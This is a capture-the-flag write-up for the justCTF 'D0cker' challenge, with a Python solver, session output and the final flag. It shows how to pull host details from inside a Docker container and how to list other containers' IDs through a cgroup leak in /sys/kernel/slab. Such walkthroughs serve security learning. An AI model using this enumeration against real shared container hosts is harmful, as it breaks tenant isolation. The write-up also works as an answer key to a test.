# D0cker
In this challenge, we connect to a server which spawns us a Docker container. On the filesystem, there is an `oracle.sock` with which we have to communicate and we have to find answers to its questions.
```➜  pwn_docker git:(master) nc docker-ams32.nc.jctf.pro 1337
Access to this challenge is rate limited via hashcash!Please use the following command to solve the Proof of Work:hashcash -mb26 srstylyd
Your PoW: 1:26:210131:srstylyd::j48cYbN3LycmgT9f:000000004U6N/1:26:210131:srstylyd::j48cYbN3LycmgT9f:000000004U6N/[*] Spawning a task manager for you...[*] Spawning a Docker container with a shell for ya, with a timeout of 10m :)[*] Your task is to communicate with /oracle.sock and find out the answers for its questions![*] You can use this command for that:[*]   socat - UNIX-CONNECT:/oracle.sock[*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance
groups: cannot find name for group ID 1000
I have no name!@694ff9e7ac41:/$ ls -la /ls -la /total 56drwxr-xr-x   1 root root 4096 Jan 31 18:37 .drwxr-xr-x   1 root root 4096 Jan 31 18:37 ..-rwxr-xr-x   1 root root    0 Jan 31 18:37 .dockerenvlrwxrwxrwx   1 root root    7 Jan 19 01:01 bin -> usr/bindrwxr-xr-x   2 root root 4096 Apr 15  2020 bootdrwxr-xr-x   5 root root  360 Jan 31 18:37 devdrwxr-xr-x   1 root root 4096 Jan 31 18:37 etcdrwxr-xr-x   2 root root 4096 Apr 15  2020 homelrwxrwxrwx   1 root root    7 Jan 19 01:01 lib -> usr/liblrwxrwxrwx   1 root root    9 Jan 19 01:01 lib32 -> usr/lib32lrwxrwxrwx   1 root root    9 Jan 19 01:01 lib64 -> usr/lib64lrwxrwxrwx   1 root root   10 Jan 19 01:01 libx32 -> usr/libx32drwxr-xr-x   2 root root 4096 Jan 19 01:01 mediadrwxr-xr-x   2 root root 4096 Jan 19 01:01 mntdrwxr-xr-x   2 root root 4096 Jan 19 01:01 optsrwxrwxrwx   1 root root    0 Jan 31 18:37 oracle.sockdr-xr-xr-x 153 root root    0 Jan 31 18:37 procdrwx------   2 root root 4096 Jan 19 01:04 rootdrwxr-xr-x   1 root root 4096 Jan 21 03:38 runlrwxrwxrwx   1 root root    8 Jan 19 01:01 sbin -> usr/sbindrwxr-xr-x   2 root root 4096 Jan 19 01:01 srvdr-xr-xr-x  13 root root    0 Jan 31 18:37 sysdrwxrwxrwt   1 root root 4096 Jan 30 20:11 tmpdrwxr-xr-x   1 root root 4096 Jan 19 01:01 usrdrwxr-xr-x   1 root root 4096 Jan 19 01:04 var
I have no name!@694ff9e7ac41:/$ mount | grep sockmount | grep sock/dev/vda1 on /oracle.sock type ext4 (rw,relatime)```
## Level 1We connect to the oracle as the challenge suggests, by using `socat - UNIX-CONNECT:/oracle.sock`. Alternatively a `python3` script can be used (which is helpful later on) as there is Python 3 interpreter in the container.
```I have no name!@694ff9e7ac41:/$ socat - UNIX-CONNECT:/oracle.socksocat - UNIX-CONNECT:/oracle.sockWelcome to the    ______ _____      _    |  _  \  _  |    | |    | | | | |/' | ___| | _____ _ __    | | | |  /| |/ __| |/ / _ \ '__|    | |/ /\ |_/ / (__|   <  __/ |    |___/  \___/ \___|_|\_\___|_|    oracle!I will give you the flag if you can tell me certain information about the host (:ps: brute forcing is not the way to go.Let's go![Level 1] What is the full *cpu model* model used?```
In the first level the oracle asks us about the *cpu model used*. We can find this in the `/proc/cpuinfo` file:```I have no name!@8b6ad5efc924:/$ cat /proc/cpuinfo | grep -i modelcat /proc/cpuinfo | grep -i modelmodel		: 85model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHzmodel		: 85model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHzmodel		: 85model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHzmodel		: 85model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz```
## Second levelIn the second level, thhe oracle asks about *our full container id*:```[Level 1] What is the full *cpu model* model used?Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHzIntel(R) Xeon(R) Gold 6140 CPU @ 2.30GHzThat was easy :)[Level 2] What is your *container id*?```
This can be found as part of the `/proc/self/cgroup` file:```I have no name!@8b6ad5efc924:/$ cat /proc/self/cgroup | head -n2cat /proc/self/cgroup12:cpuset:/docker/8b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e903925911:hugetlb:/docker/8b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e9039259```
## Third levelNow, the oracle says it creates a `/secret` file inside of our container and wants us to read this value:
```[Level 2] What is your *container id*?8b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e90392598b6ad5efc924c8bd3a09f8b75d0b67c157542e1a0c85db3b5f1ff271e9039259[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?```
If we fail to answer, we can read this file:```[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?asdasdMeh, that is not the secret I wrote into your /secret path. Goodbye.I have no name!@8b6ad5efc924:/$ cat /secretcat /secretOBojABAvUcVCWcpOCgQwLtLxxmgUpQQFSQjjwDpTYVskjFvBAmLZjheaGPfWOGKOI have no name!@8b6ad5efc924:/$```
However, this file is re-created every time we get to level 3 and so we need to read it *at the same time as we talk to the oracle*.
I guess there are multiple ways to do this, but the easiest is probably to write a Python script to do so (and save it in `/tmp` with `vim`, as it is also in the container).
For this I have written the following code:
```pyimport sysimport socketimport timeimport subprocess
with open('/proc/self/cgroup') as f:    my_container_id = f.read().splitlines()[0].split('docker/')[1]
print("MY CONTAINER ID: %s" % my_container_id)
cpuinfo_lines = open('/proc/cpuinfo').read().splitlines()cpumodel_line = next(line for line in cpuinfo_lines if 'model name' in line)cpumodel = cpumodel_line.split(': ')[1].strip()
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)sock.connect('/oracle.sock')
print(sock.recv(864))sock.sendall((cpumodel + '\n').encode())print(sock.recv(len(b'That was easy :)\n[Level 2] What is your *container id*?\n')))sock.sendall((my_container_id + '\n').encode())print(sock.recv(500))
time.sleep(1)with open('/secret') as f:    secret = f.read()print("READ SECRET: %s" % secret)sock.sendall((secret + '\n').encode())print(sock.recv(500))```
If we launch it, we get to level 4:```I have no name!@d1d8c566419a:/$ cd /tmpcd /tmpI have no name!@d1d8c566419a:/tmp$ vim a.pyvim a.pyI have no name!@d1d8c566419a:/tmp$ python3 a.pypython3 a.pyMY CONTAINER ID: d1d8c566419a8c763c8515042d0d292907c4280e9d9c2c8e446fa92a4c444e0eb"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"b'That was easy :)\n[Level 2] What is your *container id*?\n'b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'READ SECRET: nuKJfSaqzyyIrxfpkwFfzYAQWwmljCXBNztXBdffZiPacXRVVIIAxGIxAwnlPFRXb'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'```
## Level 4
Now, we have to answer with a path the `/secret` file is visible on the host. Interestingly, because of how overlayfs works, which is the filesystem used by Docker in this challenge, the host path is present in the `/proc/mounts` file:```I have no name!@d1d8c566419a:/tmp$ cat /proc/mounts | head -n1cat /proc/mounts | head -n1overlay / overlay rw,relatime,lowerdir=/var/lib/docker/overlay2/l/TNHN4TXZQR7PSITKI3EJKZ7SSE:/var/lib/docker/overlay2/l/JQG4DHIHDNUJUSNWI3BNOCS3GO:/var/lib/docker/overlay2/l/EPGEJI72R5AVERPF7MGK2ROUJ5:/var/lib/docker/overlay2/l/J3TTTPZ6J6HOAOEKZQQQII6SXE:/var/lib/docker/overlay2/l/BFOV7S6MFX4532OSVYTKYP37SP,upperdir=/var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/diff,workdir=/var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/work,xino=off 0 0```
The part that interests us is `upperdir` as this is the directory used for files in the overlayfs layer we change files in. So the `/secret` path is eventually `/var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/diff/secret`.
We can extend our Python script with this:```with open('/proc/self/mounts') as f:    mounts = f.read().splitlines()    upperdir = [i for i in mounts if 'upperdir=' in i][0]    upperdir = upperdir[upperdir.index('upperdir=')+len('upperdir='):]    upperdir = upperdir.split(',')[0]
path = upperdir+'/secret'print("PATH IS: %s" % path)
sock.sendall((path + '\n').encode())print(sock.recv(500))```
Then, we will get:```I have no name!@d1d8c566419a:/tmp$ python3 a.pypython3 a.pyMY CONTAINER ID: d1d8c566419a8c763c8515042d0d292907c4280e9d9c2c8e446fa92a4c444e0eb"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"b'That was easy :)\n[Level 2] What is your *container id*?\n'b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'READ SECRET: SwKrVgQpsxiumerauAJeGlAGYfKOINwLRDkoPYvWnpnQGRlEYQdYprOpWMUwjsrMb'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'PATH IS: /var/lib/docker/overlay2/07bd747e7e08a4c28de6d20baa8236674f1a265d9640273447c23cd50f41150c/diff/secretb'[Level 5] Good! Now, can you give me an id of any *other* running container?\n'```
## Level 5
In level 5 we have to find out an id of another container. This can be given e.g. by running another container, but, the reality is that other container ids can be found in `/sys` (or sysfs) paths, due to cgroups debug configuration present in this kernel.
Actually, I believe this is a bug and I reported it to Docker, but they did not fix it (yet?). More information can be found in this presentation: https://docs.google.com/presentation/d/1VpXqzPIPrfIPSIiua5ClNkjKAzM3uKlyAKUf0jBqoUI/
## Level 6
In level 6, we are asked about the oracle container id. For this, one can find ALL container ids using the previous technique and then try each of them.
A full solver script and its output can be seen below:```import sysimport socketimport timeimport subprocessimport re
CONTAINER_ID_REGEX = '[a-z0-9]{64}'
with open('/proc/self/cgroup') as f:    my_container_id = f.read().splitlines()[0].split('docker/')[1]
print("MY CONTAINER ID: %s" % my_container_id)
cpuinfo_lines = open('/proc/cpuinfo').read().splitlines()cpumodel_line = next(line for line in cpuinfo_lines if 'model name' in line)cpumodel = cpumodel_line.split(': ')[1].strip()
def get_container_ids():    data = subprocess.check_output('ls -l /sys/kernel/slab/*/cgroup/', shell=True).decode().splitlines()    cgroups = set(line.split('(')[-1][:-1].split(':')[1] for line in data if '(' in line and line[-1] == ')')    return cgroups
def filter_container_ids(iterable):    return [        i for i in iterable if re.match(CONTAINER_ID_REGEX, i)    ]
all_container_ids = filter_container_ids(get_container_ids())
def attempt(target_id):    sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)    sock.connect('/oracle.sock')
    print(sock.recv(864))    sock.sendall((cpumodel + '\n').encode())    print(sock.recv(len(b'That was easy :)\n[Level 2] What is your *container id*?\n')))    sock.sendall((my_container_id + '\n').encode())    print(sock.recv(500))
    time.sleep(1)    with open('/secret') as f:        secret = f.read()    print("READ SECRET: %s" % secret)    sock.sendall((secret + '\n').encode())    print(sock.recv(500))
    with open('/proc/self/mounts') as f:        mounts = f.read().splitlines()        upperdir = [i for i in mounts if 'upperdir=' in i][0]        upperdir = upperdir[upperdir.index('upperdir=')+len('upperdir='):]        upperdir = upperdir.split(',')[0]
    path = upperdir+'/secret'    print("PATH IS: %s" % path)
    sock.sendall((path + '\n').encode())    print(sock.recv(500))
    sock.sendall((target_id + '\n').encode())    print(sock.recv(500))    sock.sendall((target_id + '\n').encode())    flag = sock.recv(500)    if b'justCTF' in flag:        print(flag)        sys.exit(0)
for container_id in all_container_ids:    attempt(container_id)```  Output:```➜  pwn_docker git:(master) nc docker-ams3.nc.jctf.pro 1337
Access to this challenge is rate limited via hashcash!Please use the following command to solve the Proof of Work:hashcash -mb26 qwfnelht
Your PoW: 1:26:210131:qwfnelht::h+td0j0UshHduXoB:000000002Mwjf1:26:210131:qwfnelht::h+td0j0UshHduXoB:000000002Mwjf[*] Spawning a task manager for you...[*] Spawning a Docker container with a shell for ya, with a timeout of 10m :)[*] Your task is to communicate with /oracle.sock and find out the answers for its questions![*] You can use this command for that:[*]   socat - UNIX-CONNECT:/oracle.sock[*] PS: If the socket dies for some reason (you cannot connect to it) just exit and get into another instance
groups: cannot find name for group ID 1000I have no name!@4d461268ca63:/$ cd /tmpcd /tmpI have no name!@4d461268ca63:/tmp$ vim a.pyvim a.pyI have no name!@4d461268ca63:/tmp$ python3 a.pypython3 a.pyMY CONTAINER ID: 4d461268ca6389cb9819370e5d16cd0fbd90c7cfbbc5a6e61f2c08c0cf05d36eb"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"b'That was easy :)\n[Level 2] What is your *container id*?\n'b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'READ SECRET: VGWhBDKMnUAkibWVCIhLfBTEgHgCSnYFcXYlGrsJtloeVndueylkOOFTmaOWxpLZb'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'PATH IS: /var/lib/docker/overlay2/d21afca74baff438a964e910e351451fd3aa99448da2842def3f6dd9be415118/diff/secretb'[Level 5] Good! Now, can you give me an id of any *other* running container?\n'b"[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?\n"
# (...) - truncated many many lines here
b"Welcome to the\n    ______ _____      _             \n    |  _  \\  _  |    | |            \n    | | | | |/' | ___| | _____ _ __ \n    | | | |  /| |/ __| |/ / _ \\ '__|\n    | |/ /\\ |_/ / (__|   <  __/ |   \n    |___/  \\___/ \\___|_|\\_\\___|_|   \n    oracle!\nI will give you the flag if you can tell me certain information about the host (:\nps: brute forcing is not the way to go.\nLet's go!\n[Level 1] What is the full *cpu model* model used?\n"b'That was easy :)\n[Level 2] What is your *container id*?\n'b'[Level 3] Let me check if you truly given me your container id. I created a /secret file on your machine. What is the hidden secret?\n'READ SECRET: xVYFjhtWEMLvAwqaJigvPdgUByAkLQKItUdURFGBXvtHbToyfPtrXKGOzHQycioPb'[Level 4] Okay but... where did I actually write it? What is the path on the host that I wrote the /secret file to which then appeared in your container? (ps: there are multiple paths which you should be able to figure out but I only match one of them)\n'PATH IS: /var/lib/docker/overlay2/d21afca74baff438a964e910e351451fd3aa99448da2842def3f6dd9be415118/diff/secretb'[Level 5] Good! Now, can you give me an id of any *other* running container?\n'b"[Level 6] Now, let's go with the real and final challenge. I, the Docker Oracle, am also running in a container. What is my container id?\n"b'[Levels cleared] Well done! Here is your flag!\njustCTF{maaybe-Docker-will-finally-fix-this-after-this-task?}\n\nGood job o/\n'```
And the flag is `justCTF{maaybe-Docker-will-finally-fix-this-after-this-task?}`.